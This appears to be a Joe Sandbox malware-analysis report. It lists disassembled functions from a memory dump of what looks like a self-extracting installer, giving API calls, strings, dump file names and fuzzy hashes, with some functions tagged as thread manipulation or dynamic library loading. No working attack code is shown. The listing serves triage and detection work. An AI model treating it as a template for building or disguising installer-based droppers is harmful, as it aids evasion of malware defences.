Part of subcall function 00401A85: CharUpperW.USER32(?,7591E0B0,00000000,00000000,?,?,?,00403DBD,00000002), ref: 00401AC3
Part of subcall function 00401A85: CharUpperW.USER32(?,?,?,?,00403DBD,00000002), ref: 00401ACF

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00404156
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 0040415E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 0040416D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00404175

Strings

hAA, xrefs: 00404091, 0040409B, 004040A2, 004040B0

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$CharUpper$lstrlen
String ID: hAA
API String ID: 2587799592-1362906312
Opcode ID: f1afb06a12cfea52e195ddd9e8ddb158cdff932f9735d488ba252034b153affa
Instruction ID: 7f7e13310b21401de90169bcc26cd057e2afddf23eedd5de54135d69024cf91c
Opcode Fuzzy Hash: f1afb06a12cfea52e195ddd9e8ddb158cdff932f9735d488ba252034b153affa
Instruction Fuzzy Hash: D7212772D40215AACF20ABA4CC46AEB77B9DF90354F10407BEB41BB2E1E7789D848658

Function 00404CBC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000001,00000000,00000000,00000001,?,00000000), ref: 00404D3E
??3@YAXPAX@Z.MSVCRT(?,?,?,004054CC,?,;!@InstallEnd@!,004054CC,;!@Install@!UTF-8!,00417400,00000000,00000001,?,00000000), ref: 00404DA0
??3@YAXPAX@Z.MSVCRT(?,?,?,004054CC,?,;!@InstallEnd@!,004054CC,;!@Install@!UTF-8!,00417400,00000000,00000001,?,00000000), ref: 00404DB8

Part of subcall function 00403354: lstrlenW.KERNEL32(00404AC6,?,?,00000000,?,?,?,?,00404AC6,?), ref: 00403361
Part of subcall function 00403354: GetSystemTimeAsFileTime.KERNEL32(?,00404AC6,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?), ref: 004033D7
Part of subcall function 00403354: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?,00000000), ref: 004033DE
Part of subcall function 00403354: ??3@YAXPAX@Z.MSVCRT(?,00404AC6,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?), ref: 0040349D

Strings

;!@InstallEnd@!, xrefs: 00404D73
;!@Install@!UTF-8!, xrefs: 00404D59
03A, xrefs: 00404CCF

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: 03A$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-2279431206
Opcode ID: 1e5f1ef11ab3d9e84330ff60a8d60345b5fdf25d940142a54a900a3d947b53ea
Instruction ID: 637b7b13a9bcd1d52ea1019587bfa2fb4435f6835f564ae220b3123002230846
Opcode Fuzzy Hash: 1e5f1ef11ab3d9e84330ff60a8d60345b5fdf25d940142a54a900a3d947b53ea
Instruction Fuzzy Hash: CE312D71D0021EEACF05EF92CD429EEBBB4BF44318F10042BE911762E1DB785649DB98

Function 0040755F Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00407579
KillTimer.USER32(?,00000001), ref: 0040758A
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004075B4
SuspendThread.KERNEL32(0000028C), ref: 004075CD
ResumeThread.KERNEL32(0000028C), ref: 004075EA
EndDialog.USER32(?,00000000), ref: 0040760C

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: fa37b7d0569be928e5d0aecc9653dabfd5de706af621d680b5378aa8e85f3b57
Instruction ID: ebb94c5c4675b2e6542c2b2cb7d5652cccd5624f9a00d71f737e39ca63bd9789
Opcode Fuzzy Hash: fa37b7d0569be928e5d0aecc9653dabfd5de706af621d680b5378aa8e85f3b57
Instruction Fuzzy Hash: 9811BF70A08618BBD7212F15EE849E77BBDFB00756B00843AF523A05A0CB39BD00DA1D

Function 00404E3F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(004177C4,004177C4,004177C4,00000000,0000002B,;!@InstallEnd@!,;!@Install@!UTF-8!,00000000,00000000), ref: 00404E85

Part of subcall function 00404343: ??3@YAXPAX@Z.MSVCRT(?,?,?,004177C4,004177C4,?,;!@InstallEnd@!,;!@Install@!UTF-8!,00000000,00000000), ref: 004043B6

??3@YAXPAX@Z.MSVCRT(004177C4,004177C4,004177C4,00000000,0000002B,004177C4,004177C4,00000000,0000002B,;!@InstallEnd@!,;!@Install@!UTF-8!,00000000,00000000), ref: 00404EAB
wsprintfA.USER32 ref: 00404EBC

Strings

;!@InstallEnd@!, xrefs: 00404E59
;!@Install@!UTF-8!, xrefs: 00404E4A
:Language:%u!, xrefs: 00404EB6

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :Language:%u!$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-1550708412
Opcode ID: b3a647dc230e6375ba5304378dede3f86871d19815b7720c308d82744c7d9f3d
Instruction ID: afe26c372a183c0ca4a1b7edc16cb7be903c3e4040aad79e05e22cec791dc9d0
Opcode Fuzzy Hash: b3a647dc230e6375ba5304378dede3f86871d19815b7720c308d82744c7d9f3d
Instruction Fuzzy Hash: D8115E71B00018BBCF00FB95CC42EFE77ADAB84705B10402EBA15E3182DB78AB028799

Function 00403880 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00417788,00417788,00000000,%%T\,0041350C,00000000,00417788,00407405,?,00000000,00000000,00000000), ref: 004038C6
??3@YAXPAX@Z.MSVCRT(00417788,00417788,00000000,%%T/,004134FC,00000000,00417788,00000000,%%T\,0041350C,00000000,00417788,00407405,?,00000000,00000000), ref: 00403904
??3@YAXPAX@Z.MSVCRT(00417788,00417788,00000000,00417788,00417788,00000000,%%T/,004134FC,00000000,00417788,00000000,%%T\,0041350C,00000000,00417788,00407405), ref: 0040392A
??3@YAXPAX@Z.MSVCRT(00000000,00417788,00417788,00000000,00417788,00417788,00000000,%%T/,004134FC,00000000,00417788,00000000,%%T\,0041350C,00000000,00417788), ref: 00403932

Strings

%%T\, xrefs: 004038A6
%%T/, xrefs: 004038E4

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 9eec194740abc4bee078c15c8dc217b66edb47652cee4dab90ed516c3b80c8f9
Instruction ID: 53c9ca64f2466311d4136dbbff57d229d1af9e29f5fa76e56e45344ae10c91f3
Opcode Fuzzy Hash: 9eec194740abc4bee078c15c8dc217b66edb47652cee4dab90ed516c3b80c8f9
Instruction Fuzzy Hash: 5011DD3190410EBACF05FFA1D857CEDBB79AE00708F50806AB511760E1EF79A785DB98

Function 0040393B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00414784,00414784,00000000,%%S\,0041350C,00000000,00414784,00407405,?,00000000,00000000,00000000), ref: 00403981
??3@YAXPAX@Z.MSVCRT(00414784,00414784,00000000,%%S/,004134FC,00000000,00414784,00000000,%%S\,0041350C,00000000,00414784,00407405,?,00000000,00000000), ref: 004039BF
??3@YAXPAX@Z.MSVCRT(00414784,00414784,00000000,00414784,00414784,00000000,%%S/,004134FC,00000000,00414784,00000000,%%S\,0041350C,00000000,00414784,00407405), ref: 004039E5
??3@YAXPAX@Z.MSVCRT(00000000,00414784,00414784,00000000,00414784,00414784,00000000,%%S/,004134FC,00000000,00414784,00000000,%%S\,0041350C,00000000,00414784), ref: 004039ED

Strings

%%S\, xrefs: 00403961
%%S/, xrefs: 0040399F

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: c94d4b60668bfb9eedf3143ce332dc4c41685f87d495a97f985edcc2faf71bca
Instruction ID: c240205f9e12946546b7747d8fd44f392230bc1153c6614d6b8016afa5fd7689
Opcode Fuzzy Hash: c94d4b60668bfb9eedf3143ce332dc4c41685f87d495a97f985edcc2faf71bca
Instruction Fuzzy Hash: 1D11AD3190410EBACF05FFA1D856CEDBB79AE00708F51806AB511760E1EF78A789DB98

Function 004039F6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00414784,00414784,00000000,%%M\,0041350C,00000000,00414784,00407405,?,00000000,00000000,00000000), ref: 00403A3C
??3@YAXPAX@Z.MSVCRT(00414784,00414784,00000000,%%M/,004134FC,00000000,00414784,00000000,%%M\,0041350C,00000000,00414784,00407405,?,00000000,00000000), ref: 00403A7A
??3@YAXPAX@Z.MSVCRT(00414784,00414784,00000000,00414784,00414784,00000000,%%M/,004134FC,00000000,00414784,00000000,%%M\,0041350C,00000000,00414784,00407405), ref: 00403AA0
??3@YAXPAX@Z.MSVCRT(00000000,00414784,00414784,00000000,00414784,00414784,00000000,%%M/,004134FC,00000000,00414784,00000000,%%M\,0041350C,00000000,00414784), ref: 00403AA8

Strings

%%M\, xrefs: 00403A1C
%%M/, xrefs: 00403A5A

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 3eb134fca1680c0093703720a533bafa1d2fd801437f3d80c27f205d784cf8f2
Instruction ID: 5f6947e2f47a7d655e02fb84317d9747a35bc7200d49f7273ebe403b31479b31
Opcode Fuzzy Hash: 3eb134fca1680c0093703720a533bafa1d2fd801437f3d80c27f205d784cf8f2
Instruction Fuzzy Hash: C911AD3190410EBACF05FFA1D956CEDBB79AE00708F51806AB511760E1EF78A789DB58

Function 0040E456 Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 42COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00000000,00414CFC), ref: 0040E4EE

Strings

$JA, xrefs: 0040E4B6
xJA, xrefs: 0040E493
DJA, xrefs: 0040E4A8
hJA, xrefs: 0040E49A
TJA, xrefs: 0040E4A1
4JA, xrefs: 0040E4AF

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ExceptionThrow
String ID: $JA$4JA$DJA$TJA$hJA$xJA
API String ID: 432778473-803145960
Opcode ID: 8cab838d89dd1577677f775eaf8cb930bb6d64206a7fe5cceb0cff601651d84b
Instruction ID: 5492ea6659e041f1bcf420c4685f7038b08242b420f8f2c51a6428b2159ddc92
Opcode Fuzzy Hash: 8cab838d89dd1577677f775eaf8cb930bb6d64206a7fe5cceb0cff601651d84b
Instruction Fuzzy Hash: 7211A5F0541B419BC7308F16E544587FBF8AF907587218A1FD0AA9BA51D3F8A1888B9C

Function 0040C0DC Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 0040BA46: ??2@YAPAXI@Z.MSVCRT(0000000C,?,0040C20C,004149B0,00000001,?,?,00000000), ref: 0040BA4B

??3@YAXPAX@Z.MSVCRT(00000000,004149B0,00000001,?,?,00000000), ref: 0040C20D

Part of subcall function 0040ADC3: ??2@YAPAXI@Z.MSVCRT(?,?,?,?,0040B1B6,00010000), ref: 0040ADD6
Part of subcall function 0040ADC3: memmove.MSVCRT(00000000,?,?,?,?,?,0040B1B6,00010000), ref: 0040ADF0
Part of subcall function 0040ADC3: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0040B1B6,00010000), ref: 0040AE00

??2@YAPAXI@Z.MSVCRT(00000014,00000000,004149B0,00000001,?,?,00000000), ref: 0040C245

Strings

IA, xrefs: 0040C11B
IA, xrefs: 0040C12D
IA, xrefs: 0040C0EC

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@$??3@$memmove
String ID: IA$IA$IA
API String ID: 4294387087-924693538
Opcode ID: 85fc5e494f6b2b84d8098d484c2c91b8b6bfa0a3dc3e29a15476b27879269a5e
Instruction ID: 38d37476858cbe2739f158cf8086d9562841ccd83740beefedbf55b6536d6dac
Opcode Fuzzy Hash: 85fc5e494f6b2b84d8098d484c2c91b8b6bfa0a3dc3e29a15476b27879269a5e
Instruction Fuzzy Hash: 20B1C1B1900209DFCB54EFAAC8819DEBBB5BF48304F50852EF919A7291DB38A945CF54

Function 0040E811 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,00414CFC), ref: 0040E83C
??2@YAPAXI@Z.MSVCRT(?,IA,IA,00000000,?,0040E909,00000000,00408769,IA,00402F92,00000000,00000000,004044E9,?,?,?), ref: 0040E864
memcpy.MSVCRT(00000000,?,?,IA,IA,00000000,?,0040E909,00000000,00408769,IA,00402F92,00000000,00000000,004044E9,?), ref: 0040E88D
??3@YAXPAX@Z.MSVCRT(?,IA,IA,00000000,?,0040E909,00000000,00408769,IA,00402F92,00000000,00000000,004044E9,?,?,?), ref: 0040E898

Strings

IA, xrefs: 0040E818, 0040E841

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID: IA
API String ID: 3462485524-3293647318
Opcode ID: 87c970ed3d1d6bacfe04aab15aff8add49b6e5554cbd4f9de67434676486f6a2
Instruction ID: e9362666a157510f6fc1816af10740f0f0ab3f4ff6eb75305f8b2a096945a613
Opcode Fuzzy Hash: 87c970ed3d1d6bacfe04aab15aff8add49b6e5554cbd4f9de67434676486f6a2
Instruction Fuzzy Hash: 6811E5736003009BCB28AF57D880D6BFBE9AB84354714C83FEA59A7290D779E8954794

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401029
wsprintfW.USER32 ref: 00401049
lstrcatW.KERNEL32(?,?), ref: 0040105C
ExitProcess.KERNEL32 ref: 00401084

Strings

0x%p, xrefs: 00401043

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: beb3389330693802dd4b40a551927b7f0c9c9e0999a7fc1e7fc7f64098bb755c
Instruction ID: 6c9eba3c29ae2a0cc7ccd16f79f39b6d6218d418ab2b897ff95ca6c62132cda7
Opcode Fuzzy Hash: beb3389330693802dd4b40a551927b7f0c9c9e0999a7fc1e7fc7f64098bb755c
Instruction Fuzzy Hash: CF019E7580020CAFDB20AFA0DC45FDA777CBF44305F04486AF945A2081D738F6948FAA

Function 00407A3A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004071B8: GetSystemMetrics.USER32(0000000B), ref: 004071E0
Part of subcall function 004071B8: GetSystemMetrics.USER32(0000000C), ref: 004071E9

GetSystemMetrics.USER32(00000007), ref: 00407A51
GetSystemMetrics.USER32(00000007), ref: 00407A62
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00407B29

Strings

100%% , xrefs: 00407A81, 00407A88, 00407AE1

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 8625fd62ee8a1587f51b59dec5492359d41c9a7e7955315cbfbb4a3169dab2fe
Instruction ID: d2e8aa6d75c6757367bbc63d1236441fd7733528c0e5853e38aed7656a5d7d9b
Opcode Fuzzy Hash: 8625fd62ee8a1587f51b59dec5492359d41c9a7e7955315cbfbb4a3169dab2fe
Instruction Fuzzy Hash: 0D31D771A047059FCB24DFA9C9419AEB7F4EF40308B00012EE542A26E1DB78FE44CF99

Function 00407998 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00407A12

Part of subcall function 0040725A: GetDlgItem.USER32(?,?), ref: 00407264
Part of subcall function 0040725A: GetWindowTextLengthW.USER32(00000000), ref: 0040726B

GetDlgItem.USER32(?,000004B3), ref: 004079C6

Part of subcall function 00402D7D: GetWindowTextLengthW.USER32(?), ref: 00402D8E
Part of subcall function 00402D7D: GetWindowTextW.USER32(00402E07,00000000,00000001), ref: 00402DAB

??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 004079E4

Strings

(%u%s), xrefs: 00407A0C

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: TextWindow$ItemLength$??3@wsprintf
String ID: (%u%s)
API String ID: 3595513934-2496177969
Opcode ID: 81108d5736a162b6d9564d3eb7a2e93f5e39dd0108d0485d36b03b99dec63073
Instruction ID: 1b031bef2a273fddd3247fbc9e57f9590cc69a100d620b238320e5a3a24b3f72
Opcode Fuzzy Hash: 81108d5736a162b6d9564d3eb7a2e93f5e39dd0108d0485d36b03b99dec63073
Instruction Fuzzy Hash: 1401C8B15042147FDB107B65DC46EAF777CAF44708F10807FF516A21E2DB7CA9448A68

Function 004021ED Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,0000003C,?,?,?,?,?,?,00406130,?,00000000,?,?,?), ref: 0040220A
GetProcAddress.KERNEL32(00000000), ref: 00402211

Strings

GetNativeSystemInfo, xrefs: 00402200
kernel32, xrefs: 00402205

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32
API String ID: 2574300362-3846845290
Opcode ID: dcc7844bde5d914e3d472255d944d602bbefc6ee0fc65a521985863f2fff9548
Instruction ID: b757a3d5c4c17e34abb063926c294d8abaed4bc4edbc3347b9308a3de004b423
Opcode Fuzzy Hash: dcc7844bde5d914e3d472255d944d602bbefc6ee0fc65a521985863f2fff9548
Instruction Fuzzy Hash: 88F0B432E1521495CF20BBF48B0D6EF66E89A19349B1004BBD852F31D0E5FCCE8141EE

Function 00402185 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,004061B1,?,?,?), ref: 00402198
GetProcAddress.KERNEL32(00000000), ref: 0040219F

Strings

Wow64RevertWow64FsRedirection, xrefs: 0040218E
kernel32, xrefs: 00402193

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: e5c6d40c89fc1f3fb34c79c32c3445fbc861d0d884c7149ba98d4f5b826d618a
